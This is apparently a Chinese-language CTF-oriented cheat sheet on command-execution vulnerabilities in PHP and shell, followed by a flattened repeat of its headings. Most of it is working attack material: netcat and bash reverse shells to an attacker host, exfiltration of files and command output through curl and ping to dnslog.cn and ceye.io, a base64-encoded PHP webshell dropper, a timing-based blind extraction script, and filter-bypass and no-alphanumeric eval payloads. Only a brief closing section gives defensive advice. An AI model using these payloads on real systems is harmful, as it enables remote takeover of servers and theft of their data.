保姆级命令执行总结
字数 1394 2025-08-19 12:41:22

命令执行漏洞全面指南

一、系统命令基础

1.1 系统命令简介

系统命令是在系统终端可执行的预定义命令:

  • Linux默认存储位置:/bin
  • Windows默认存储位置:C:\Windows\System32

1.2 管道符

Windows管道符:

  • |:直接执行后面的语句
  • ||:前面命令错误则执行后面语句
  • &:无论前面真假都执行前后命令
  • &&:前面为真才执行两条命令

Linux管道符(额外包含):

  • ;:作用同&

1.3 通配符(Linux)

  • ?:代替任意一个字符
  • *:代替0-任意个字符

示例:

cat flag == cat fla? == cat f*

1.4 重定向(Linux)

  • >:覆盖写入文件
  • >>:追加写入文件

示例:

ls > file.txt    # 覆盖写入
> file.txt       # 创建空文件
ls >> file.txt   # 追加写入

1.5 常见系统命令

Windows常用命令:

  • ipconfig:查看网络配置
  • type:查看文件内容
  • cd:目录跳转
  • ping:测试连通性
  • dir:列出目录
  • whoami:查看当前用户

Linux常用命令:

  • ls:列出目录
  • cd:目录跳转
  • rm:删除
  • mv:重命名
  • whoami:查看当前用户
  • uname -a:系统信息
  • ifconfig:网络配置
  • ping:测试连通性
  • touch:创建文件
  • mkdir:创建目录

文件读取命令:

cat/tac/more/less/head/tail/nl/vim/vi/nano/emacs
sed -n '1,10p'/rev/base64/strings/xxd/hexdump/od/uniq

其他实用命令:

  • find:查找文件

    find / -name flag
    find / -name f*
    find / -name fla?
    
  • sed:行替换

    sed -i '2s/x\.x\.x\.x/150.158.24.228/' filename
    
  • echo+base64写入

    echo 'base64数据' | base64 -d > filename
    

二、命令执行漏洞利用

2.1 system类命令执行

示例代码:

<?php system($_POST['1']); ?>

2.1.1 无回显RCE技术

  1. 反弹shell技术
  • VPS准备:需要公网服务器(华为云/腾讯云/阿里云)

  • NC反弹

    • 正向连接:

      # Linux靶机
      nc -e /bin/bash -lvvnp 端口
      # Win靶机
      nc -e cmd -lvvnp 端口
      # 攻击机
      nc 靶机ip 端口
      
    • 反向连接:

      # Linux靶机
      nc -e /bin/bash 攻击机ip 端口
      # Win靶机
      nc -e cmd 攻击机ip 端口
      # 攻击机
      nc -lvvnp 端口
      
  • Bash反弹

    # 攻击机
    nc -lvvnp 端口
    # 靶机
    bash -c "bash -i >& /dev/tcp/攻击机ip/端口 0>&1"
    
  1. 数据写出技术

    • cp flag.php 1.txt
    • mv flag.php 1.txt
    • ls > 1.txt
    • ls | tee 1.txt
    • ls | script 1.txt
  2. 数据外带技术

    • 使用平台:http://dnslog.cn 或 http://ceye.io
    • 单行传输:
      ping `whoami`.dns地址
      curl http://dns地址/`whoami`
      
    • 多行传输:
      curl http://ceye.io/`ls / | base64`
      curl -T /flag http://ceye.io/
      
  3. 盲注技术

    import requests
    import string
    import time
    
    url = 'http://localhost.test.php/?c='
    dic = string.printable[:-6]
    flag = ''
    
    for i in range(1,50):
        for j in dic:
            payload = f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi'
            start = time.time()
            requests.get(payload)
            if time.time() - start > 1:
                flag += j
                print(flag)
                break
    

2.1.2 命令行写shell

echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=' | base64 -d > ./123.php
# 解码后:<?php eval($_POST[1]);?>

2.1.3 长度限制绕过

示例payload:

`$F `; sleep 3

截取后执行:

eval("``$F `;sleep 3`"); 
# 等价于 shell_exec("`$F `; sleep 3");

2.1.4 命令绕过技术

  1. 空格绕过

    cat${IFS}flag.php
    cat$IFS$9flag.php
    cat<flag.php
    cat<>flag.php
    
  2. 字符串拼接

    a=l;b=s;$a$b /
    
  3. 编码绕过

    • Base64:
      echo bHMgLw== | base64 -d | bash
      
    • 16进制:
      echo 6c73202f | xxd -r -p | bash
      
  4. 引号绕过

    ca''t flag
    ca""t flag
    
  5. 反斜杠

    l\s /
    ca\t f\lag
    
  6. IP绕过

    • 127.0.0.1 → 2130706433 或 0x7F000001
  7. 正则绕过

    cat [e-g]lag
    cat f{k..m}ag
    
  8. 内联执行

    cat `ls`
    
  9. 黑洞绕过

    ls || >/dev/null 2>&1
    

2.1.5 特殊绕过技术

  1. 绕过open_basedir

    <?php
    ini_set('open_basedir', '/path/to/directory:/another/directory');
    ?>
    
  2. 绕过disable_function

    $a=fopen("flag.php","r");
    while(!feof($a)) { echo fgets($a); }
    

2.2 eval类命令执行

示例代码:

<?php eval($_POST['1']); ?>

2.2.1 无字母数字RCE

  1. 取反绕过

    (~%8C%86%8C%8B%9A%92)(~%8B%9A%92%9E%98%D1%8F%97%8F);
    # 等价于 system('ls /');
    
  2. 异或绕过

    ("%08%08%08%08"^"%7b%7b%7b%7b")("%08%08%08%08%08%08"^"%7b%7b%7b%7b%7b%7b");
    
  3. 或绕过

    ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%60%60");
    
  4. 自增绕过

    $_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;...;
    # 最终构造出 assert($_POST[_]);
    
  5. 临时文件执行

    import requests
    while True:
        url = "http://url/?c=.+/???/????????[@-[]"
        r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
        if "flag" in r.text:
            print(r.text)
            break
    

2.2.2 无参数RCE

示例代码:

if(';' === preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

常用函数组合

show_source(next(array_reverse(scandir(current(localeconv())))));
highlight_file(array_rand(array_flip(scandir(getcwd()))));
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

特殊技术

  1. session_id

    eval(hex2bin(session_id(session_start())));
    # Session值:phpsessid=706870696e666f28293b (phpinfo();的hex)
    
  2. getallheaders

    eval(array_pop(getallheaders()));
    # 请求头添加:ZZZZZ=phpinfo();
    
  3. get_defined_vars

    eval(pos(next(array_reverse(get_defined_vars()))));
    

2.2.3 绕过技术

  1. 16进制绕过

    "\x77\x61\x66\x2e\x70\x68\x70"  # "waf.php"
    
  2. chr函数绕过

    chr(119).chr(97).chr(102).chr(46).chr(112).chr(104).chr(112)
    

三、防御建议

  1. 严格过滤所有用户输入
  2. 使用白名单替代黑名单
  3. 禁用危险函数(如eval、system等)
  4. 设置open_basedir限制目录访问
  5. 及时更新系统和应用补丁
  6. 使用最小权限原则运行服务

四、参考资源

  1. 无字母数字webshell之提高篇
  2. 命令执行漏洞详解
  3. 无字母数字RCE总结
命令执行漏洞全面指南 一、系统命令基础 1.1 系统命令简介 系统命令是在系统终端可执行的预定义命令: Linux默认存储位置: /bin Windows默认存储位置: C:\Windows\System32 1.2 管道符 Windows管道符: | :直接执行后面的语句 || :前面命令错误则执行后面语句 & :无论前面真假都执行前后命令 && :前面为真才执行两条命令 Linux管道符(额外包含): ; :作用同 & 1.3 通配符(Linux) ? :代替任意一个字符 * :代替0-任意个字符 示例: 1.4 重定向(Linux) > :覆盖写入文件 >> :追加写入文件 示例: 1.5 常见系统命令 Windows常用命令: ipconfig :查看网络配置 type :查看文件内容 cd :目录跳转 ping :测试连通性 dir :列出目录 whoami :查看当前用户 Linux常用命令: ls :列出目录 cd :目录跳转 rm :删除 mv :重命名 whoami :查看当前用户 uname -a :系统信息 ifconfig :网络配置 ping :测试连通性 touch :创建文件 mkdir :创建目录 文件读取命令: 其他实用命令: find :查找文件 sed :行替换 echo +base64写入 二、命令执行漏洞利用 2.1 system类命令执行 示例代码: 2.1.1 无回显RCE技术 反弹shell技术 VPS准备 :需要公网服务器(华为云/腾讯云/阿里云) NC反弹 : 正向连接: 反向连接: Bash反弹 : 数据写出技术 cp flag.php 1.txt mv flag.php 1.txt ls > 1.txt ls | tee 1.txt ls | script 1.txt 数据外带技术 使用平台:http://dnslog.cn 或 http://ceye.io 单行传输: 多行传输: 盲注技术 2.1.2 命令行写shell 2.1.3 长度限制绕过 示例payload: 截取后执行: 2.1.4 命令绕过技术 空格绕过 : 字符串拼接 : 编码绕过 : Base64: 16进制: 引号绕过 : 反斜杠 : IP绕过 : 127.0.0.1 → 2130706433 或 0x7F000001 正则绕过 : 内联执行 : 黑洞绕过 : 2.1.5 特殊绕过技术 绕过open_ basedir : 绕过disable_ function : 2.2 eval类命令执行 示例代码: 2.2.1 无字母数字RCE 取反绕过 : 异或绕过 : 或绕过 : 自增绕过 : 临时文件执行 : 2.2.2 无参数RCE 示例代码: 常用函数组合 : 特殊技术 : session_ id : getallheaders : get_ defined_ vars : 2.2.3 绕过技术 16进制绕过 : chr函数绕过 : 三、防御建议 严格过滤所有用户输入 使用白名单替代黑名单 禁用危险函数(如eval、system等) 设置open_ basedir限制目录访问 及时更新系统和应用补丁 使用最小权限原则运行服务 四、参考资源 无字母数字webshell之提高篇 命令执行漏洞详解 无字母数字RCE总结